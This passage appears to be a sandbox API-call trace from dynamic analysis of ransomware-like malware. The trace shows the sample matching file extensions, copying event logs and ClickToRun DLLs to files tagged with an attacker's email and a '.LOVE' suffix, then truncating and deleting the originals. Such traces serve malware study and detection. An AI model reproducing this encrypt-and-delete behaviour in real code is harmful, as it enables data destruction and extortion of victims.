returned -1 [0208.634] lstrlenW (lpString=".xls") returned 4 [0208.634] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0208.634] lstrlenW (lpString=".xlsx") returned 5 [0208.634] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0208.634] lstrlenW (lpString=".ppt") returned 4 [0208.634] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0208.634] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0208.634] lstrlenW (lpString=".zip") returned 4 [0208.634] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0208.634] lstrlenW (lpString=".rar") returned 4 [0208.634] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0208.634] lstrlenW (lpString=".bz2") returned 4 [0208.634] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0208.634] lstrlenW (lpString=".7z") returned 3 [0208.634] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0208.634] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0208.634] lstrlenW (lpString=".dbf") returned 4 [0208.634] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0208.635] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0208.635] lstrlenW (lpString=".1cd") returned 4 [0208.635] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0208.635] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0208.635] lstrlenW (lpString=".jpg") returned 4 [0208.635] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0208.635] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0208.635] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0208.635] lstrlenW (lpString=".doc") returned 4 [0208.635] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0208.635] lstrlenW (lpString=".docx") returned 5 [0208.635] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0208.635] lstrlenW (lpString=".pdf") returned 4 [0208.635] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0208.635] lstrlenW (lpString=".xls") returned 4 [0208.635] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0208.635] lstrlenW (lpString=".xlsx") returned 5 [0208.635] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0208.635] lstrlenW (lpString=".ppt") returned 4 [0208.635] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0208.635] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0208.635] lstrlenW (lpString=".zip") returned 4 [0208.635] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0208.635] lstrlenW (lpString=".rar") returned 4 [0208.635] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0208.635] lstrlenW (lpString=".bz2") returned 4 [0208.635] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0208.635] lstrlenW (lpString=".7z") returned 3 [0208.635] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0208.636] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0208.636] lstrlenW (lpString=".dbf") returned 4 [0208.636] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0208.636] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0208.636] lstrlenW (lpString=".1cd") returned 4 [0208.636] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0208.636] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0208.636] lstrlenW (lpString=".jpg") returned 4 [0208.636] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0208.636] lstrcmpiW (lpString1=".evtx", lpString2=".LOVE") returned -1 [0208.636] lstrlenW (lpString="Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 48 [0208.636] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0208.636] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=1052672) returned 1 [0208.636] CloseHandle (hObject=0x37c) returned 1 [0208.636] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx")) returned 0x20 [0208.637] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0208.637] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0208.637] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.637] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.637] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0208.637] GetLastError () returned 0x0 [0208.637] ReadFile (in: hFile=0x37c, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0xffff0, lpOverlapped=0x0) returned 1 [0208.740] WriteFile (in: hFile=0x370, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0xffff0, lpOverlapped=0x0) returned 1 [0208.755] ReadFile (in: hFile=0x37c, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x1010, lpOverlapped=0x0) returned 1 [0208.762] WriteFile (in: hFile=0x370, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0x1020, lpOverlapped=0x0) returned 1 [0208.764] ReadFile (in: hFile=0x37c, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0208.764] WriteFile (in: hFile=0x370, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0x134, lpOverlapped=0x0) returned 1 [0208.764] SetEndOfFile (hFile=0x370) returned 1 [0208.765] CloseHandle (hObject=0x370) returned 1 [0209.177] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.177] SetEndOfFile (hFile=0x37c) returned 1 [0209.290] CloseHandle (hObject=0x37c) returned 1 [0209.290] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0209.290] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx")) returned 1 [0209.290] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0209.291] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0209.291] lstrlenW (lpString=".doc") returned 4 [0209.291] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0209.291] lstrlenW (lpString=".docx") returned 5 [0209.291] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0209.291] lstrlenW (lpString=".pdf") returned 4 [0209.291] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0209.291] lstrlenW (lpString=".xls") returned 4 [0209.291] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0209.291] lstrlenW (lpString=".xlsx") returned 5 [0209.291] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0209.291] lstrlenW (lpString=".ppt") returned 4 [0209.291] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0209.291] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0209.291] lstrlenW (lpString=".zip") returned 4 [0209.291] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0209.291] lstrlenW (lpString=".rar") returned 4 [0209.291] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0209.291] lstrlenW (lpString=".bz2") returned 4 [0209.291] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0209.291] lstrlenW (lpString=".7z") returned 3 [0209.291] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0209.291] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0209.291] lstrlenW (lpString=".dbf") returned 4 [0209.291] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0209.291] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0209.291] lstrlenW (lpString=".1cd") returned 4 [0209.291] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0209.302] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0209.302] lstrlenW (lpString=".jpg") returned 4 [0209.302] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0209.302] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0209.302] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0209.302] lstrlenW (lpString=".doc") returned 4 [0209.302] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0209.302] lstrlenW (lpString=".docx") returned 5 [0209.302] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0209.302] lstrlenW (lpString=".pdf") returned 4 [0209.302] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0209.302] lstrlenW (lpString=".xls") returned 4 [0209.302] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0209.302] lstrlenW (lpString=".xlsx") returned 5 [0209.302] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0209.302] lstrlenW (lpString=".ppt") returned 4 [0209.302] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0209.302] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0209.302] lstrlenW (lpString=".zip") returned 4 [0209.302] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0209.302] lstrlenW (lpString=".rar") returned 4 [0209.302] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0209.302] lstrlenW (lpString=".bz2") returned 4 [0209.303] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0209.303] lstrlenW (lpString=".7z") returned 3 [0209.303] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0209.303] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0209.303] lstrlenW (lpString=".dbf") returned 4 [0209.303] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0209.303] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0209.303] lstrlenW (lpString=".1cd") returned 4 [0209.303] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0209.303] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0209.303] lstrlenW (lpString=".jpg") returned 4 [0209.303] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0209.303] lstrcmpiW (lpString1=".dll", lpString2=".LOVE") returned -1 [0209.303] lstrlenW (lpString="api-ms-win-core-processthreads-l1-1-1.dll") returned 41 [0209.303] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0209.419] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=19136) returned 1 [0209.419] CloseHandle (hObject=0x368) returned 1 [0209.419] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll")) returned 0x20 [0209.419] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0209.419] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0209.419] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.419] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.419] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0209.420] GetLastError () returned 0x0 [0209.420] ReadFile (in: hFile=0x368, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x4ac0, lpOverlapped=0x0) returned 1 [0209.422] WriteFile (in: hFile=0x2cc, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0x4ad0, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0x4ad0, lpOverlapped=0x0) returned 1 [0209.423] ReadFile (in: hFile=0x368, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0209.423] WriteFile (in: hFile=0x2cc, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0x126, lpOverlapped=0x0) returned 1 [0209.423] SetEndOfFile (hFile=0x2cc) returned 1 [0209.423] CloseHandle (hObject=0x2cc) returned 1 [0209.424] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.425] SetEndOfFile (hFile=0x368) returned 1 [0209.425] CloseHandle (hObject=0x368) returned 1 [0209.425] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0209.425] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll")) returned 1 [0209.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0209.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0209.426] lstrlenW (lpString=".doc") returned 4 [0209.426] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0209.426] lstrlenW (lpString=".docx") returned 5 [0209.426] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1 [0209.426] lstrlenW (lpString=".pdf") returned 4 [0209.426] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0209.426] lstrlenW (lpString=".xls") returned 4 [0209.426] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0209.426] lstrlenW (lpString=".xlsx") returned 5 [0209.426] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1 [0209.426] lstrlenW (lpString=".ppt") returned 4 [0209.426] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0209.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0209.426] lstrlenW (lpString=".zip") returned 4 [0209.426] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0209.426] lstrlenW (lpString=".rar") returned 4 [0209.426] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0209.426] lstrlenW (lpString=".bz2") returned 4 [0209.426] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0209.426] lstrlenW (lpString=".7z") returned 3 [0209.426] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0209.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0209.426] lstrlenW (lpString=".dbf") returned 4 [0209.426] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0209.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0209.426] lstrlenW (lpString=".1cd") returned 4 [0209.426] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0209.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0209.427] lstrlenW (lpString=".jpg") returned 4 [0209.427] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0209.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0209.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0209.427] lstrlenW (lpString=".doc") returned 4 [0209.427] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0209.427] lstrlenW (lpString=".docx") returned 5 [0209.427] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1 [0209.427] lstrlenW (lpString=".pdf") returned 4 [0209.427] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0209.427] lstrlenW (lpString=".xls") returned 4 [0209.427] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0209.427] lstrlenW (lpString=".xlsx") returned 5 [0209.427] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1 [0209.427] lstrlenW (lpString=".ppt") returned 4 [0209.427] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0209.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0209.427] lstrlenW (lpString=".zip") returned 4 [0209.427] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0209.427] lstrlenW (lpString=".rar") returned 4 [0209.427] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0209.427] lstrlenW (lpString=".bz2") returned 4 [0209.428] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0209.428] lstrlenW (lpString=".7z") returned 3 [0209.428] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0209.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0209.428] lstrlenW (lpString=".dbf") returned 4 [0209.428] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0209.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0209.428] lstrlenW (lpString=".1cd") returned 4 [0209.428] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0209.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0209.428] lstrlenW (lpString=".jpg") returned 4 [0209.428] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0209.428] lstrcmpiW (lpString1=".dll", lpString2=".LOVE") returned -1 [0209.428] lstrlenW (lpString="api-ms-win-crt-environment-l1-1-0.dll") returned 37 [0209.428] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0209.438] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=19136) returned 1 [0209.438] CloseHandle (hObject=0x33c) returned 1 [0209.438] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll")) returned 0x20 [0209.438] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0209.438] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0209.439] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.439] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.439] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0209.443] GetLastError () returned 0x0 [0209.443] ReadFile (in: hFile=0x33c, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x4ac0, lpOverlapped=0x0) returned 1 [0209.463] WriteFile (in: hFile=0x388, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0x4ad0, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0x4ad0, lpOverlapped=0x0) returned 1 [0209.464] ReadFile (in: hFile=0x33c, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0209.464] WriteFile (in: hFile=0x388, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0x11e, lpOverlapped=0x0) returned 1 [0209.464] SetEndOfFile (hFile=0x388) returned 1 [0209.464] CloseHandle (hObject=0x388) returned 1 [0209.465] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.466] SetEndOfFile (hFile=0x33c) returned 1 [0209.467] CloseHandle (hObject=0x33c) returned 1 [0209.467] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0209.467] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll")) returned 1 [0209.467] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0209.467] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0209.467] lstrlenW (lpString=".doc") returned 4 [0209.467] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0209.467] lstrlenW (lpString=".docx") returned 5 [0209.467] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0209.467] lstrlenW (lpString=".pdf") returned 4 [0209.468] 